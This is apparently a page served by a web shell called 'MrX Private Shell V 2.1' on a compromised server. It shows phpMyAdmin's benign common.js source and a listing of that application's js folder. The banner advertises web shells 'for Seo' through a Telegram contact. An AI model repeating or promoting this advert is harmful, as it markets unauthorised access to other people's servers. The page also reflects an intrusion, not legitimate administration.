__ __ __ __ _____ _ _ _____ _ _ _ | \/ | \ \ / / | __ \ (_) | | / ____| | | | | | \ / |_ __\ V / | |__) | __ ___ ____ _| |_ ___ | (___ | |__ ___| | | | |\/| | '__|> < | ___/ '__| \ \ / / _` | __/ _ \ \___ \| '_ \ / _ \ | | | | | | |_ / . \ | | | | | |\ V / (_| | || __/ ____) | | | | __/ | | |_| |_|_(_)_/ \_\ |_| |_| |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1 if you need WebShell for Seo everyday contact me on Telegram Telegram Address : @jackleetFor_More_Tools:
$(function () {
Functions.checkNumberOfFields();
});
/**
* Holds common parameters such as server, db, table, etc
*
* The content for this is normally loaded from Header.php or
* Response.php and executed by ajax.js
*
* @test-module CommonParams
*/
var CommonParams = (function () {
/**
* @var {Object} params An associative array of key value pairs
* @access private
*/
var params = {};
// The returned object is the public part of the module
return {
/**
* Saves all the key value pair that
* are provided in the input array
*
* @param obj hash The input array
*
* @return {void}
*/
setAll: function (obj) {
var updateNavigation = false;
for (var i in obj) {
if (params[i] !== undefined && params[i] !== obj[i]) {
if (i === 'db' || i === 'table') {
updateNavigation = true;
}
}
params[i] = obj[i];
}
if (updateNavigation &&
$('#pma_navigation_tree').hasClass('synced')
) {
Navigation.showCurrent();
}
},
/**
* Retrieves a value given its key
* Returns empty string for undefined values
*
* @param {string} name The key
*
* @return {string}
*/
get: function (name) {
return params[name];
},
/**
* Saves a single key value pair
*
* @param {string} name The key
* @param {string} value The value
*
* @return {CommonParams} For chainability
*/
set: function (name, value) {
var updateNavigation = false;
if (name === 'db' || name === 'table' &&
params[name] !== value
) {
updateNavigation = true;
}
params[name] = value;
if (updateNavigation &&
$('#pma_navigation_tree').hasClass('synced')
) {
Navigation.showCurrent();
}
return this;
},
/**
* Returns the url query string using the saved parameters
*
* @param {string} separator New separator
*
* @return {string}
*/
getUrlQuery: function (separator) {
var sep = (typeof separator !== 'undefined') ? separator : '?';
var common = this.get('common_query');
var argsep = CommonParams.get('arg_separator');
if (typeof common === 'string' && common.length > 0) {
// If the last char is the separator, do not add it
// Else add it
common = common.substr(common.length - 1, common.length) === argsep ? common : common + argsep;
}
return Functions.sprintf(
'%s%sserver=%s' + argsep + 'db=%s' + argsep + 'table=%s',
sep,
common,
encodeURIComponent(this.get('server')),
encodeURIComponent(this.get('db')),
encodeURIComponent(this.get('table'))
);
}
};
}());
/**
* Holds common parameters such as server, db, table, etc
*
* The content for this is normally loaded from Header.php or
* Response.php and executed by ajax.js
*/
// eslint-disable-next-line no-unused-vars
var CommonActions = {
/**
* Saves the database name when it's changed
* and reloads the query window, if necessary
*
* @param {string} newDb new_db The name of the new database
*
* @return {void}
*/
setDb: function (newDb) {
if (newDb !== CommonParams.get('db')) {
CommonParams.setAll({ 'db': newDb, 'table': '' });
}
},
/**
* Opens a database in the main part of the page
*
* @param {string} newDb The name of the new database
*
* @return {void}
*/
openDb: function (newDb) {
CommonParams
.set('db', newDb)
.set('table', '');
this.refreshMain(
CommonParams.get('opendb_url')
);
},
/**
* Refreshes the main frame
*
* @param {any} url Undefined to refresh to the same page
* String to go to a different page, e.g: 'index.php'
* @param {function | undefined} callback
*
* @return {void}
*/
refreshMain: function (url, callback = undefined) {
var newUrl = url;
if (! newUrl) {
newUrl = $('#selflink').find('a').attr('href') || window.location.pathname;
newUrl = newUrl.substring(0, newUrl.indexOf('?'));
}
if (newUrl.indexOf('?') !== -1) {
newUrl += CommonParams.getUrlQuery(CommonParams.get('arg_separator'));
} else {
newUrl += CommonParams.getUrlQuery('?');
}
$('<a></a>', { href: newUrl })
.appendTo('body')
.trigger('click')
.remove();
if (typeof callback !== 'undefined') {
AJAX.callback = callback;
}
}
};
| Name | Type | Size | Permission | Actions |
|---|---|---|---|---|
| codemirror | Folder | 0755 |
|
|
| database | Folder | 0755 |
|
|
| designer | Folder | 0755 |
|
|
| jqplot | Folder | 0755 |
|
|
| server | Folder | 0755 |
|
|
| setup | Folder | 0755 |
|
|
| table | Folder | 0755 |
|
|
| transformations | Folder | 0755 |
|
|
| ajax.js | File | 33.96 KB | 0644 |
|
| chart.js | File | 18.29 KB | 0644 |
|
| common.js | File | 5.14 KB | 0644 |
|
| config.js | File | 25.6 KB | 0644 |
|
| console.js | File | 56.88 KB | 0644 |
|
| cross_framing_protection.js | File | 423 B | 0644 |
|
| doclinks.js | File | 18.54 KB | 0644 |
|
| drag_drop_import.js | File | 14.28 KB | 0644 |
|
| error_report.js | File | 10.34 KB | 0644 |
|
| export.js | File | 34.37 KB | 0644 |
|
| export_output.js | File | 402 B | 0644 |
|
| functions.js | File | 162.86 KB | 0644 |
|
| gis_data_editor.js | File | 14.37 KB | 0644 |
|
| home.js | File | 5.96 KB | 0644 |
|
| import.js | File | 6.02 KB | 0644 |
|
| indexes.js | File | 30.5 KB | 0644 |
|
| jquery.sortable-table.js | File | 11.02 KB | 0644 |
|
| keyhandler.js | File | 2.22 KB | 0644 |
|
| makegrid.js | File | 97.52 KB | 0644 |
|
| menu_resizer.js | File | 6.43 KB | 0644 |
|
| multi_column_sort.js | File | 1.34 KB | 0644 |
|
| name-conflict-fixes.js | File | 44 B | 0644 |
|
| navigation.js | File | 58.82 KB | 0644 |
|
| normalization.js | File | 28.83 KB | 0644 |
|
| ol.mjs | File | 1.03 KB | 0644 |
|
| page_settings.js | File | 2.01 KB | 0644 |
|
| replication.js | File | 3.71 KB | 0644 |
|
| shortcuts_handler.js | File | 3.72 KB | 0644 |
|
| sql.js | File | 39.28 KB | 0644 |
|
| u2f.js | File | 3.39 KB | 0644 |
|
| webauthn.js | File | 4.34 KB | 0644 |
|